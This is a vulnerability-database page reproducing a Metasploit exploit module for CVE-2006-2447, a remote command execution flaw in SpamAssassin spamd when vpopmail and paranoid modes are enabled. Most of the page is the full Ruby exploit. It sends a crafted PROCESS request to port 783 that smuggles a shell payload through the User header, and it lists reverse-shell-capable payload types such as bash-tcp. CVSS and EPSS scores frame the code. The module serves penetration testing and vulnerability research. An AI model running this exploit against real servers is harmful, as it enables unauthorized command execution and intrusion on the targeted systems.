Lucene search

K
metasploitAushack <[email protected]>MSF:EXPLOIT-UNIX-MISC-SPAMASSASSIN_EXEC-
HistoryJul 19, 2008 - 3:40 p.m.

SpamAssassin spamd Remote Command Execution

2008-07-1915:40:30
www.rapid7.com
11

5.1 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

0.947 High

EPSS

Percentile

99.3%

This module exploits a flaw in the SpamAssassin spamd service by specifying a malicious vpopmail User header, when running with vpopmail and paranoid modes enabled (non-default). Versions prior to v3.1.3 are vulnerable

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SpamAssassin spamd Remote Command Execution',
      'Description'    => %q{
          This module exploits a flaw in the SpamAssassin spamd service by specifying
        a malicious vpopmail User header, when running with vpopmail and paranoid
        modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2447' ],
          [ 'OSVDB', '26177' ],
          [ 'BID', '18290' ],
          [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => '2006-06-06',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(783)
      ])
  end

  def exploit
    connect

    content = Rex::Text.rand_text_alpha(20)

    sploit = "PROCESS SPAMC/1.2\r\n"
    sploit << "Content-length: #{(content.length + 2)}\r\n"
    sploit << "User: ;#{payload.encoded}\r\n\r\n"
    sploit << content + "\r\n\r\n"

    sock.put(sploit)

    handler
    disconnect
  end
end

5.1 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

0.947 High

EPSS

Percentile

99.3%